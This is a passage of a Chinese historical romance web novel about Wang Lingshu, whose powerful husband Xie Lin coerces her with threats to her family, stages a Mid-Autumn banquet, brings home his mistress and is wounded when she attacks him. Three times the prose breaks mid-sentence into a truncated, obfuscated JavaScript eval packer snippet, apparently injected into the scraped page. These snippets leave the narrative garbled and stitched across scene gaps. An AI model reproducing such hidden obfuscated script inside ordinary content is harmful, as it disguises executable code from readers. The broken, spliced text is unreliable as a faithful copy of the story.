若不是她非要嫁谢凛…… 不会如此。 王令淑恨谢凛,却更为仇恨自己,恨自己有眼无珠。 可偏偏一切,再也无法挽回。 “你若听话,今夜我会让王家人接你回去。”谢凛似乎对她的怨恨不以为意,缓步走过来,抬手替她掖了掖松散的鬓发,“珩郎病重,无法为他阿父扶灵,正需要我们为他寻一位名医。” 男人苍白修长的指尖冰冷。 划过王令淑耳畔,带起一阵骨冷的战栗。 她听了,忍不住讥笑。 王令淑对上谢凛漆黑深沉的眼,看不分明里面藏着什么,只觉得令人发寒。 “原来你打得这样的算盘。”王令淑拂落他的手,唇边的讽笑越来越刺眼,最终眼眶渗出大片大片的水泽,“你想要我求你,连这样的事情……都能拿来威胁我。” 两人相识八年,成亲七年。 若是寻常夫妻,早已交心知底,相敬如宾。 谢凛这样聪明,明知道亲人对她意味着什么,却偏偏拿亲人来威胁拿捏她……王令淑竟然不知道,自己当初究竟是把谢凛看得太愚钝,还是将自己看得太聪明。 也许都不是。 王令淑喜欢的,是那个在她和阿兄吵输了架躲起来哭时,拿甜糕将她逗笑的少年郎。不是眼前冷血自私,满心算计,唯我独尊的谢司徒。 “好。” “你要我做什么,我都答应你。” “只要你治好珩郎的病。” 王令淑说着哀求的话,看向他的目光里,却藏着毫不掩饰的厌恶和恨意。 谢凛置若无睹。 他弯下腰,将谢幼训抱起来。 父女二人都生得一副好皮相,哪怕是在半明半昧的灯光下,也像是两尊会发光的玉人。只是谢凛得权后,总是这样冷淡睥睨的姿态,瞧着只让人厌恶。 “郎中已经去了王家,请的是褚灵子。” 对方语调冰冷,不带感情。 王令淑心中却微微一跳,只觉得总算是能稍稍喘息过来。好在谢凛虽然冷血,却贵为三公,钱权于他不过是信手拈来的事,随便找的郎中便是妙手回春的名医褚灵子。 有褚灵子在,珩郎的病多半不会有事。 王令淑点点头,看向谢幼训。 “岁岁。”她轻轻一声呼唤,小女郎便已然读懂了她语气中的不高兴,在谢凛怀中剧烈挣扎起来,王令淑便说,“来我这里。” 谢凛没有放下她的意思。 谢幼训白费了半天劲,气恼得张牙舞爪。 她小心翼翼看王令淑:“阿母……” 王令淑说:“方才棺材里躺着的,便是你的十舅舅。” 谢幼训呆呆看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她被困在谢家出不去,珩郎的病还要仰仗他,此时不能得罪谢凛。 “我回去更衣。” “站住。” 王令淑转过身。 谢凛居高临下打量她,目光似乎柔和了一些。 但很快,她意识到那是错觉。 “阿俏。”谢凛靠近了她,眸光又带上那种残忍的笃定,虎口卡住她的下颌骨,迫使她仰起脸贴近他,“陪我过中秋,或者,褚灵子连夜离京。” 果然,他所有的妥协让步,都是算计中的一步。 王令淑只能答应。 可她对上谢凛的眼睛,喉间的好字,上不去下不来。 ……和他过中秋。 王令淑有些想笑,觉得太过于讽刺,他竟然想让她和他过中秋?过去她想要与他好好过中秋的时候,他从来不着家,对她避之不及。 好似她是什么恶心的东西。 可明明,八年前的中秋夜宴上,是他在人潮如涌中走到她眼前。 也是他在众目睽睽之下,扶了她一把。 两人之间的缘分,分明是他不珍惜。 “谢凛,你……” 谢凛皱起眉,周身上位者凌厉的气势更甚。 但王令淑没有将这句话说完,她闭了闭眼,缓缓吐出一口气。她抬起手,主动挽住了谢凛的胳膊,像是往日扮演恩爱夫妻那样,露出如画就的笑容。 两人如一双璧人,行至精心布置的园中。 火树银花,灯影重重。 园中被布置得格外奢华,四处不是盛放着鲜花,便是结着纷飞的彩绶。玉盘银盏光华流转,在五彩花灯中折射出美丽的光影,瓜果摆设应有尽有,盛装女使垂首侍立。 四处都很熟悉。 和八年前王氏家中所设中秋宴,一模一样。 只是,园中空空荡荡。 王令淑画在脸上的笑容,也凝固了起来,只有乌黑木讷的眼珠转向他。谢凛仿佛丝毫觉察不出其中的讽刺,他攥住王令淑的手腕,将她拽到一株丹桂花下的位置坐下。 对方还要挣扎,其余女使便纷纷围过来。 王令淑被钳制住。 “八年前,我们就是在这里第一次见面。”谢凛的声音仿佛温和了一些,冰凉粘腻的手指却像藤蔓般,缠绕上了她的手腕,嗓音漫上她的耳廓,“阿俏,你还记得当时的我吗?” 王令淑低垂眼眸。 她听见自己冷漠的嗓音:“不记得。” 手腕几乎被谢凛捏碎,男人的呼吸落在她脖颈间,像是一条游走的毒蛇。 “没关系。” “你会记住的。” “这里每一处,都和当年一模一样。”谢凛仿佛已经不满足当下的控制,他松开手,挥退碍眼的女仆们,站在她身后倾身握住她冰冷的手指,“这只琥珀夜光杯,是你当年和裴礼清谈输后,自罚三杯所用。” “这条蹙金榴花裙上的印迹,是你失手洒上的葡萄酒。” “这……” 他一字一句,说得详尽清晰,仿佛是什么逻辑严密的治国策。 王令淑浑身却冒起细密的鸡皮疙瘩。 4. 夜宴 八年前的中秋夜宴。 原本是王家的私宴,只是裴王两家私交颇好,听闻王家有吟月赏花的风雅家风,特意送来一株进贡的上好丹桂花,以作祝贺。 王家家主,也就是王令淑的伯父十分欣喜。 于是遂下了帖子,广邀知交好友,一起于园中吟诗赏花,让小辈之间彼此结交认识。 那时候的王家权势日隆,又兼底蕴深厚。 想要赴宴的世家权贵,其实数不胜数,不少人削尖了脑袋都进不来。谢凛最终能出现在王家,其实算是个不大不小的意外。 他虽是谢家人,却出身不起眼的寒微旁支,身份低微不显眼。 偶然出现,是个错误。 很快,错误被矫正。 谢凛离开了华贵奢靡的中秋夜宴。 中间与当时的王令淑,可以说是不过片面之缘,更别提有时间领略宴会上的风雅行径。 很快,他便离开了华贵热闹的宴会之上。这么短的时间,又足足隔着八年之久……他怎么会对当年的事情如此清楚?清楚得好像,反复咀嚼回忆过千万遍一般。 即便是王令淑自己,也想不起来到底有些什么。 可谢凛有什么理由记住这些? 彼时的谢凛,出现在王氏宴会上,徒增旁人的耻笑鄙夷罢了。他如今权势俱全,何必回忆那样耻辱狼狈的往事,只怕每一次想起…… 都对王家,对王令淑恨得牙痒痒吧。 可此刻的谢凛从容不迫,好似对那些羞辱不堪的往事并不在意,操控着她,一句一句带着她回忆八年前的中秋夜宴。 “这是你那时最喜欢的樱桃煎,按着八年前王家秘制的法子所做,味道一如当初。” “这是八年前,你应和裴礼而写到一半的诗。” “翩翩鸳鸯侣……” 他一字一字地念,齿间仿佛含着坚冰,被他咬断嚼碎。似笑非笑看着她,那眸光好像是要将她生吞活剥了般,却偏偏端出容止雅正的贵族风范。 王令淑不知道他为什么停下来。 但她知道,谢凛大概是快要撕开那层温雅的伪装了。 他看她的目光,又渗出浓稠复杂的古怪情绪。 王令淑厌恶他这样。 “怎么,这么多年了,”王令淑刻意顿了顿,唇边浮现出一道讥讽的笑意,眸光直直落在谢凛面上,“谢司徒还是做不了诗,赏不来风雅?” 谢凛按着那张写着半首诗的纸张。 下一刻。 王令淑的后脖颈骤然被他攥住,身体被拽离开桌案,整个人几乎凿进他怀中。 她身体扭曲,剧烈挣扎起来。 谢凛却丝毫没有松手的意思,她越是挣扎,他就越是用力。两个人像是纠缠不休的藤萝,越是想要逃离,就越是被勾连缠绞在一起。 “……松手!” “论作诗和风雅,我自然比不上裴礼。只可惜,他没有我命硬。” 他的呼吸扫在她颈窝,仿佛是要噬人的野兽。 王令淑闻言冷笑。 他这样的无耻小人,自然命硬得很……挡他路的人,都被他扫清了。 反倒是父亲伯父那样的君子,却因为谢凛,死在了朝堂的明争暗斗中。连带着整个王家,不可避免地滑向倾颓,以至于到如今连十兄也…… 想到这里,王令淑心下悲恸。 她愣愣看着桌上的琥珀夜光杯,仿佛又回到了八年前的中秋夜宴上。 酒是新酿的葡萄酒,她实在贪杯,躲在桂花树下一杯又一杯地喝。十兄不知道从哪里摸过来,见她喝得醉醺醺,抬手便给了她脑袋一巴掌。 这可惹恼了王令淑。 她抬脚便要踹十兄,对方却闪躲得灵活。 两人就这么嬉闹起来,将席间的珍珠缸玛瑙碗摔得满地都是,昂贵的葡萄酒更是满地横流。闹到最后,她也打不过十兄,气得捂着脸装哭。 十兄不得已,只得给她赔罪。 还向天起誓: “自此日起,我必定当个合格的长兄。” “为我小妹做倚仗,只要活着一日,便护着她一日,断然不会让她被人欺负,更不会叫她流一滴眼泪!” “若违此事,我寿将不永,来世不得在与十一娘做兄妹。” 说完,十兄接过仆人递来的夜光杯向她告罪,一口饮尽散着月光的葡萄酒,对着她笑得毫无芥蒂。 王令淑空洞的眸光流露出痛苦的追忆。 或许是因为她没有再挣扎。 谢凛的钳制轻了些。 王令淑微微侧过脸,轻声说:“我要喝一口葡萄酒。” “睹物思人了?”谢凛的话里带着毫不掩盖的讥讽,冰冷的指节滑过柔软的脖颈侧,骤然攥紧她的下颌,“今日不是让你在我这里,想着别人的。” 王令淑反问:“我难道还要想着你?” 谢凛哂笑了一下。 他松开了手,抬手兀自整理衣领,举止斯文。 看向她的眸光阴晦难明。 王令淑嫌恶地抽回衣摆,抬手取来夜光杯,仰脸便要饮尽。 然而自上而下,一只手攫走了她唇边的杯盏。谢凛居高临下俯视着她,漆黑冰冷的眸中没有情绪,像是暗中窥伺的毒蛇,伺机而动。 只有几道织金缀玉的长带垂落在她肩头,沉甸甸的。 他抬手,喝了她剩下的半盏酒水。 赤色的葡萄酒水令他唇边多了些血色,反而使得他冷峻的眉眼,越发不近人情。谢凛倚靠在丹桂树下,藏身在阴影里,淡淡看着池水里一双鸳鸯。 王令淑不记得八年前的王家,是否养了这样一对鸳鸯。 一如不记得桌上的半首诗,是不是自己所写。 她如今的记忆,很多都模糊了。 只是,天上的月亮又被乌云所笼罩,很快园内便只剩下灯笼光。再片刻,细细密密的小雨又洒落下来,如同帘幕般雾蒙蒙地笼罩了一切,浇熄明灭的灯笼。 王令淑坐在雨中,只觉物是人非。 她的指尖抹过发黄的竹纸,看着上头风骨俊秀的字,有些恍惚。 她写不了这么好看的字了。 她这双会调琴弄香、写诗注文的手,于五年前被毁了。只是后来握住笔,落笔的字迹颤抖不成筋骨,像是扭曲的蚯蚓,实在难堪的很。 所以,她再也不碰纸笔。 那时候,谢凛还远不是现在的谢司徒。她刚刚嫁入谢家时,谢凛还是出身不显的旁支子弟,刚刚入官场,势头却好得令人所忌惮。 朝中嫉恨他的人数不尽数,家中忌惮他的嫡支子弟也不少。 他当时处境艰难得很。 虽然他从不说,对她的态度也冷淡得过分。 可有一回,他彻夜未回,官府称他酒后惊马,死生不知。 王令淑还是心急如焚,想要设法去寻他。可谢家门户紧闭,不许她出门,更不肯抽出人手连夜去寻他。没办法的王令淑头一次半夜爬了墙,跳下比她还高的墙,孤身骑马奔回王家求援。 为了躲避宵禁的官兵追捕,她在仓促中险些摔下马。 王令淑紧紧攥着缰绳。 她半只手险些被勒断,鲜血淋漓。 忍着痛,拽着缰绳,一声不吭跑回王家,惊扰了整个王家为她奔劳。 最终在城外树林中找到了谢凛。 他被人暗算,昏迷着挂在受惊的马上,在林中摔入了山崖下。找到的时候,他浑身上下没有一块好皮,骨头尽碎,整个人只剩下最后一口气。 王令淑顾不上自己的伤,抱着晕过去的谢凛,嚎啕大哭。 她那时候觉得,自己从未这样心疼过一个人。 她在心里暗暗想,要对自己的夫君好一点,更好一点。如果这世上没有人真心待他,那她王令淑,便做那个最真心待他的人。 无论如何,至少不能让别人这样欺负他。 此事稍定。 谢凛回了谢家养伤。 王令淑则被盛怒的父亲关进了祠堂反省。 总之,两个人都不好过。 虽然不在一处,但在王令淑心中,两个人也算是患难夫妻。不求多么深情厚谊,可她有时候也觉得恍惚,不知道如何就走到了如今这样一步…… 走到了,他要拿她的血亲威胁的地步。 王令淑闭了闭眼。 大概是她眼中的怨恨惹恼了他。 “你执意与我作对也好。”谢凛丢开手里的酒盏,一声脆响,他扼住了王令淑的肩膀,湿漉的眉眼只剩下冷意,“只要付得起后悔的代价。” 他轻嗤出声。 连威胁,都这样从容不迫。 王令淑只觉得厌倦。 今日所谓的“帖子”,便是他给她的警告。若没有他的默许,银瓶怎么敢将消息这样漏给她,还漏得这样恰如其分,叫她当真满心欢喜地等着、盼着…… 然后当头一棒。 若她彻底恼怒,和他闹翻,便吃不到他早就准备好的这颗甜枣。 ——珩郎需要的名医褚灵子。 这样的手腕谋算,无处不精准而残忍,难怪能逼得无数人成为他垫脚的尸骨,成就他这位权倾天下的谢司徒。 王令淑心口冰凉。 “我不与你作对。”她语气平静得有些虚弱,想到珩郎那张和十兄相似的脸,只觉得心中在滴血,“你要我做什么,都可以。” 谢凛垂眼看着她,不知道想些什么。 秋雨寒凉,王令淑低咳出声。 谢凛收回目光,坐在她身侧的案几前,给自己倒了一杯酒。 他说:“数年前,人人夸赞王十一娘诗才绝艳,就连街头不起眼的乞儿,都能被她写诗垂悯。阿俏,你嫁给我以后,却从未写过一首诗给我。” 细雨沙沙作响。 隔着柔软的雨幕,谢凛的语气似乎温和了些。 好似她记忆里,那个清俊内敛的少年郎,会在她直视着他笑时羞涩地闪躲她的视线。 她心口又隐隐作痛。 王令淑面上没有表情,说:“好。” 她抬起手,握住一侧的笔。 纸张已经被淋湿,笔尖落上去,迅速便被洇开。王令淑迟迟没有起笔,她的脑中一片空无,迟钝得像是生锈的器物,强行推动反而疼得嗡嗡作响。 王氏接连传来的丧报,令她只能麻痹情绪,不念不想不恨不妄,做一个勉力而活的空壳人。 曾经灵气肆意的王十一娘,早就死了。 她写不出诗句。 她的手,甚至连握笔都已经做不到。 谢凛看着她煞白的脸色,抵触的神情,眸光随之阴沉下来。 他攥住王令淑颤抖的握笔手。 “给我写诗,就这么恶心?”谢凛迫使她握笔的手移动,在她越发激烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手将王令淑捞起来,唇边扯出冷笑:“又想闹……” 王令淑肌肤滚烫。 乌黑的长发彻底散落,被雨水淋得像是一捧水草,湿漉漉地搭在他手腕上。女人双眼紧闭,苍白枯瘦的面上没有一丝血色,细长的眉间皱起一道褶皱。 她的呼吸微弱得仿佛要消失。 谢凛忽然厉声道:“来人!快来人!……请郎中来!” 整个谢府顿时人仰马翻。 王令淑的意识仿佛在岩浆里沉浮,苦苦挣扎,始终无法清醒。她在恍惚之间,梦到了很多人,有阿母,有阿爹,还有伯父和十兄…… 只是一转眼,她面前便只剩下漆黑冰冷的棺材。 王令淑陡然惊醒。 明媚的日光刺得她眼睛生疼,王令淑测过脸去,只安静了一瞬间,思绪便变得清晰起来。 她要回王家。 她要去为十兄吊唁。 她是王氏女。 王令淑急迫地下床,披衣穿着,然而还没走几步便身形一晃。她眼前一黑,整个摔坐在脚踏上,后知后觉地感到干渴和饥饿。 她这一昏迷,也不知道过去多久了。 “夫人!”匆匆入内的玉盏伸手来扶她,絮絮说道,“夫人高烧了一场,十分凶险,险些就没有熬过去,怎么一醒过来便急着起身……还是身子要紧啊。” 王令淑问:“今天是何日?” 玉盏愣了一下,轻声说道:“十七了。” 头七还没过去,那还来得及。 “去着人准备一下,我要回王家。”王令淑心中只记着这一件事,迫不及待地要起身,不断催促,“给我梳妆更衣,快一些,快一些。” 玉盏犹豫:“可郎主那……” 这两个字,仿佛是一盆凉水,让王令淑冷静了下来。 谢凛不会让她擅自出门的。 更何况,他的中秋夜宴被她晕倒打破计划,只怕更加惹得他恼怒。 他这人,忍受不了别人不受他的操控。 “准备笔墨。”王令淑冷静下来,她自顾自起身走向窗前书案,顺手拿起一本诗集翻看,忍着刺痛的太阳穴开始思考,绞尽脑汁地挤出早已生疏的字词,“备几张好看的纸笺。” “是。” 玉盏连忙应答,下去准备。 屋内安静下来。 王令淑茫然地翻着诗集,视线微微一刺,落在熟悉的署名。 这本诗集,收录了伯父生前的诗。 王令淑的手又开始颤抖起来,她几乎下意识想要丢掉这本诗集,双手却小心翼翼地抚过墨色的字迹。伯父生前曾说,族中小辈,文采虽被外人认可,真正能得他真传的…… 只有十一娘。 再过七八年,怕是连他都要让让十一娘的锐气了。 王令淑心口痛得几乎麻痹。 风吹得珠帘簌簌作响。 有人拨开珠帘,往前行了几步,才轻声道:“听闻姐姐病重,险些有性命之虞。妾……妾心中忧虑,所以前来看望姐姐,姐姐的病可好了些?” 5. 外室 因为耳鸣,王令淑只听到了后面一句话。 她恍然抬眼,看向门口。 明亮的日光洒落在女子天青的裙裾上,流动出柔和的光彩。女子站在珠帘内,娉婷的身影像是初春的杨柳,摇曳生姿,柔美动人。 好生的鲜亮轻盈。 王令淑觉得她有些眼熟。 可她这些年记忆越发不好了,盯着女子看了好半天,才勉强从记忆中翻出一道熟悉的影子。加上一些揣测,王令淑大致猜出了她的身份。 是谢凛从前的青梅竹马,蕊娘。 也是他本该求娶的心上人。 王令淑心口涌出说不出的情绪,令她的呼吸有些不畅。 “不劳你费心。” 王令淑语气淡淡。 蕊娘并不意外,反倒是自顾自走了进来,坐在王令淑身侧。 “阿凛将妾接进来这么久了,却迟迟没来拜见姐姐,妾心中实在是不安得很……”蕊娘柔声说着,似乎是有些羞涩一般,低垂着面容迟疑说,“听闻姐姐病了,妾便自作主张,前来探望拜见姐姐。” 她语调温柔可亲,容色又真诚。 若不是话里的机锋毫不遮掩,王令淑倒以为她是真心来探望自己。 真是个急性子,这样迫不及待地前来宣示主权。 “来见一见我也好。”王令淑微微一笑,搭在案几上的无名指微敲,缓缓说,“否则没名没份的,住在谢家,倒叫别人攻讦谢司徒狎妓宿娼。” 就差指着脸骂,说她和烟街柳巷里的娼妓没什么分别了。 这话刻薄得蕊娘脸色难看。 但很快,她又露出更愉悦轻慢的神情出来。 这么多年不见,王令淑竟然成了这副模样,真是没了半点当年的襟怀与气度。尤其是镜中的这张脸,虽然美貌依旧,却仿佛是开到腐烂萎靡的花,毫无生机。 当初再怎么明艳摄人,如今也不过是惹人讨厌的深闺怨妇罢了。 蕊娘收敛心神。 “是啊,好久不见姐姐了。”她取下架子上的褶衣,披在王令淑肩头,又取了木梳亲自为王令淑梳头,“不过七八年的光景,姐姐的头发竟白成了这样,只怕过得不大好吧?” 王令淑懒得理她。 淡淡垂眸,问道:“你今日来,到底想要说些什么?” 蕊娘微笑,轻声说:“阿凛如今是谢氏家主,也该悉心培养小辈,可惜他却没什么亲兄弟可支应的。又听闻姐姐膝下只得了岁岁一个女郎,这样一来,实在人丁单薄……” 王令淑听得不耐烦。 这日头本就亮得刺眼,晃得她头晕想吐,偏蕊娘说话又嗡嗡絮絮的,实在烦人。 她将手里的诗集放回到桌上。 “直说。” 不知道怎么回事,整个妆台几乎被掀翻,胭脂水粉钗环珠链劈了啪啦砸了一地。蕊娘仿佛是被吓到了,脸色煞白,看鬼一样看着她半天。 “……是……是妾听阿凛说,要将珠郎玉郎记在姐姐名下。” 王令淑恍惚了一下。 又突然冒出两个名字,头痛尖锐得仿佛要将她的脑袋劈开,想要想一想,却一大半天似懂非懂。 她只得问:“你生的?” 蕊娘不知道为什么低下头去,只是点点头。 王令淑又问:“多大了?” 蕊娘抬起头,冲着她露出温柔的微笑,一个多余的字也没有:“是双生子,八岁。” 王令淑静坐着。 蕊娘看向她的目光似乎有些得意,但王令淑有些分不出神去教训她,她不知道为什么觉得有些恶心。王令淑将这股恶心压了下去,夺回自己的木梳,囫囵将头发绑了起来。 做完这些,王令淑站起身。 蕊娘还没反应过来。 啪! 王令淑的巴掌扇得她没反应过来,只觉得耳边嗡嗡作响,半边脸火辣辣地疼。扭过脸对上王令淑高高在上的目光,羞耻愤怒才后知后觉涌上心头,蕊娘气得几乎要扑上去同王令淑扭打。 “王令淑!你疯了!” 她都落得什么境地了?还敢这样飞扬跋扈! 真是不知道死活! 但理智让她冷静下来,不要同王令淑这个疯子计较。 “若是让岁岁看到你们母子三个,别怪我继续给你教训。”王令淑往她走来,仿佛是要再给她一巴掌,“也别怪我没提前给你打招呼。” 蕊娘忍不住冷笑。 “你能给我什么教训?” “你们王家都死绝了,还有谁给你撑腰?” “难道你还指望阿凛不成?” 王令淑阴沉着脸,不说话。 但即便只是如此,蕊娘心中还是有些忐忑。别人不知道,她却是知道的,这位出生在王氏鼎盛之时的王十一娘,从前是怎样骄矜恣意的性子。 那时候,才是真的没有人敢…… 可那又如何? 早就今非昔比了! “你还不知道吧?”蕊娘的声音柔和下来,仿佛在为什么忍耐着,状似不经意说,“说起来,姐姐的阿兄死得倒也是时候,否则阿凛眼下可有的忙呢。” 听到她阿兄的死,王令淑果然越发脸色苍白,整个人摇摇欲坠。 蕊娘温柔轻笑了一下。 “不过妾是妇道人家,不懂朝野中的事。” “但在家中待了这么久,上上下下都成了一家人,有什么事情也不会刻意瞒着妾身……总之,大家高高兴兴的事情,妾身却看得出来。” “姐姐以为呢?” 她这些话拐了许多弯。 但内里的意思,王令淑却听得再分明不过。 蕊娘是说,阿兄的死与谢凛有关。 更或许……阿兄的死,也许是他挡了谢凛的路,被谢凛亲自拦路石处理掉了。难怪,难怪他那么快,就找到了褚灵子来威胁她,只怕一切早就在他的计划当中了。 王令淑对上蕊娘挑衅的笑容。 她忽然连冲过去与她厮打的力气都没有,只觉得天旋地转。 谢凛害死十兄的念头一起,她便忍不住思考这些年忽略掉的细节。还有,王家为什么会在短短时间内迅速倾颓?这个问题若是要细说,很复杂,但若是简单地说…… 眼前的蕊娘都能概括出来。 因为谢凛坐大,打破了世家之间的平衡,王家首当其冲必须避其锋芒。 可究竟是避其锋芒,还是遭了算计? 这些东西,都引着王令淑去探究,可她却不能立刻就去计较。杂念在脑中盘旋许久,她只能硬生生按下去,让自己暂且镇定下来。 王令淑忍得喉咙发痒。 对着蕊娘这张春风得意的脸,她缓缓吐出一口气,缓了过来。她的体面有没有无所谓,可岁岁还待在谢家,她就必须为岁岁撑出几分体面来。 王令淑心平气和开口道:“这些话,你不如说给谢……” “我瞧着姐姐可怜罢了。”蕊娘打断了她的话,她的脸上没有了惯有的温柔笑意,眼中讥讽毫不掩饰,“否则,我瞒着你,岂不是更有意思?” 瞒着她,岂不是更有意思? 是啊,如果没有蕊娘点破这一切,她还会被褚灵子这颗甜枣哄得死死的。 谢凛要她做什么,她就会做什么。 全然不知道,他指头缝里漏出来的那点好处,本身就是从王家搜刮来的。他尽可拿着这点虚假的甜头,哄得她团团转,让她对他百依百顺,做他手里的傀儡人。 多可笑啊! 是把仇人当作救世主,百般摇尾乞怜。 甚至或许偶尔还会在恍惚时,疑惑两人也曾有些旧情,他才会如此对她费尽心机。 可原来…… 早在与她成亲之前,他便与蕊娘有了一对双生子,两人这么多年指不定有多恩爱。如今他扫除了王家这么大的障碍,便堂而皇之将蕊娘与孩子接了回来,要养在膝下。 她却以为,他至少对岁岁是真心疼爱。 至少岁岁有父亲疼爱庇护。 不只是她,连岁岁也是他们一家四口的拦路石,也是一个笑话。 她可以是笑话。 但岁岁,怎么可以是笑话? 王令淑几乎要喘不过来气,喉间痒得要烂掉。她囫囵想要扶住什么,却没能扶住,反倒是半空中有什么东西摔了下去,砸了个粉碎。 蕊娘的尖叫声凄厉地响起。 后面的一切,王令淑都不记得了。 再睁开眼,谢凛正从门外进来,阴郁俊美的面上没什么情绪,只一双森寒凌厉的凤眼居高临下打量着她。很快,他便收回了目光,仿佛是吩咐人照顾蕊娘。 王令淑缓过神来。 她淡淡道:“你新纳的妾室倒好生娇纵,缺教训。” 谢凛厌恶皱眉。 王令淑嗤笑一声,眸光落在蕊娘身上,徐徐打量。蕊娘狼狈坐在地上,神情惊惶失措,额头被砸得鲜血淋漓,身上则散落着沾血的碎瓷片。 对上她的视线,蕊娘目露恐惧的泪水,对她苦苦摇头。 如此形容,真是好不可怜。 但是,她怎么弄成了这样? 王令淑也没多想,蕊娘的死活同她没什么关系。 “不是倒好。”王令淑心内对两人只有厌憎,扯唇讥讽道,“外头的脏东西,从哪里来,便送到哪里去。你若不愿意,我不妨亲自帮你丢出去。” 谢凛厌烦地打断她,“闭嘴。” 男人乌黑的眼瞳微沉,周身气势凌厉。 王令淑嗤笑一声。 但她和谢凛,确实也没什么好说的。 空气一时安静下来。 房间里只有蕊娘的啜泣声,随着静默,啜泣声越来越大。最终自己抖落满身琉璃渣,站了起来,满含委屈地对谢凛道:“听闻夫人病了,我特意前来探望,谁料夫人竟然……竟然……” 王令淑看向妆台。 果然,那面藩国进贡的水银镜碎了。 这面镜子可谓价值连城,原本是要被宫中太后看上了,谁知道谢凛用了什么手段弄回了谢家。眼下碎在了他的心上人脸上,只怕他要动怒。 王令淑出声道:“不仅如此,我还给了她一巴掌。” 蕊娘一愣,顿时羞愤难当。 可没有人理她,她干脆转身要跑开。 可她走了好几步,也不见谢凛来拦,便又恨恨顿住脚步。扭过头来,见谢凛背对着她,脸上表情讥讽:“夫人如此厌憎妾,难道是对郎主有怨愤?” 其实她和谢凛之间,没什么好挑拨离间的。 可王令淑心中不爽快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢凛喂了她小半碗,她便安静地喝了小半碗,只是先前难得张扬的神情又萎靡了下来。窗外的日光照在她的长发上,更衬得那张脸苍白没有血色,像是开败了的花。 他看着她,不由皱眉。 谢凛站起身,将她抱入怀中。 王令淑后知后觉地挣扎了一下,被他攥住手腕,便不动了。 谢凛神情缓和下来。 “稍后我陪你回王家。”他握着王令淑的手无意识摩挲她手腕内侧的肌肤,目光落在粥碗里,舀起喂到她唇边,“阿俏,别闹脾气,那两个孩子不……” 王令淑的身体骤然痉挛。 她挣扎起来,谢凛下意识扣紧她的腰。 王令淑推翻粥水,只能伏在他肩头,剧烈地抽搐干呕。 谢凛的手微松。 王令淑推开他,跌跌撞撞要去寻痰盂,却一头撞在了多宝架上,整个人直接往满地的琉璃渣上摔去。空中有只手接了她一把,却被她带得踉跄一下,还是摔在了琉璃渣上。 倒也没多疼。 下巴被人攫起,谢凛气急败坏的声音在耳边响起。 “你发什么疯!” 王令淑不知道自己哪里发疯了。 她只觉得难受,喉间又开始发痒发堵,肠胃绞结着痉挛,忍不住地想要呕吐。可是她才吃了两口粥水,呕也呕不出什么,一时间只能忍着。 可是,太难忍受了。 真的太难忍受了! 王令淑浑身最后一点力气都快要被抽干了,她软绵绵伏在谢凛身上,好半天才轻声道:“谢凛,我们和离吧,求你让我同你和离……” 她的身体忍不住颤抖起来,一阵一阵发冷。 眼泪好像在眼眶里,又好像不在。 王令淑眼泪簌簌,胡乱攥住他的手,颤声说:“求你了,让我回家吧……” 谢凛的手湿滑温热。 他死死攥住她的手指,冰冷的呼吸落在她鬓边,好似吻过了她的侧脸,最终与她静静贴在一起,嗓音却仍旧那样冷淡沉稳:“不行。” 王令淑剧烈地挣扎起来。 可她实在没有力气,怎么都挣扎不开,反而是谢凛纠缠得越来越近。 她的胸腔几乎被他攥得喘不过来气。 “你许诺过我,阿俏。”谢凛的声音似远似近,声音是温柔的,语调却再冷漠固执不过,“生同衾死同穴,要与我白头偕老,永不分离。” 王令淑听着这些话,又想哭又想笑。 到最后,哭笑的力气都没有。 王令淑茫然看着屋顶的承尘,明亮的日光却刺得她双眼模糊,周身上下像是被碾碎了一样疼。她忽然想,这样活着永远拜托不了谢凛,若是死了呢? 不,她不能死,她有岁岁。 凭什么是她死? 谢凛才该去死。 王令淑的手摸索到一块琉璃片,攥在手中,浑身上下终于又涌出一股力气。她挣扎起来,死死抱住谢凛的胳膊,另一只手握着琉璃刺向他的脖颈! 杀了谢凛,她就解脱了。 王令淑心口剧烈地跳动起来,几乎欢喜得要炸开。 6. 吊唁 琉璃碎划破谢凛的脖颈。 但很快,他便攥住了她的手,狠狠将她按在漆案上。 谢凛气急败坏,极用力。 王令淑的手腕几乎被捏碎,虎口的旧伤被扭到,抽搐着疼。她剧烈挣扎,却怎么也挣扎不开,到最后干脆用尽全身力气扑向谢凛。 她冲上去,竭力给了谢凛一巴掌! “王令淑!”谢凛死死掐住她的喉咙,指骨攥得咔嚓作响,仿佛下一刻便要杀了她,“我看你是活腻了!” 王令淑冷笑:“要么杀了我,要么同我和离!” 谢凛满脸都是血,冲她笑。 男人苍白冷峻的脸溅满血,沉得眉眼浓黑得惊人,阴郁昳丽得非人似鬼。他含笑捧起王令淑的脸,粘腻腥稠的指腹摩挲她的侧脸,仿佛在欣赏什么珍宝。 王令淑步步后退。 对方由着她,一步一步随着她。 “你既然这么不想活了,我成全你也好。”王令淑听见对方的声音缓缓响起,顷刻间,呼吸便落在了她的侧颈处,“可岁岁还这么小,你娘家的珩郎也指望着你。” “阿俏,你可别后悔。” “到那时,你就是想活,也只能死在我手里。” 王令淑浑身颤抖。 手里的琉璃碎片落在地上,砸了个粉碎。 她盯着谢凛,说不出来话。 对这样的人,她竟然亲口许诺过他,与他生同衾死同穴,要与他白头偕老永不分离。如今想来,竟然如此讽刺,讽刺得令她喘不过来气。 可那时候的谢凛,不是这样的…… 那时候她还未嫁给他。 谢凛甚至都尚未进入官场,他不过是个家族嫌恶,人尽可欺的旁支庶子。 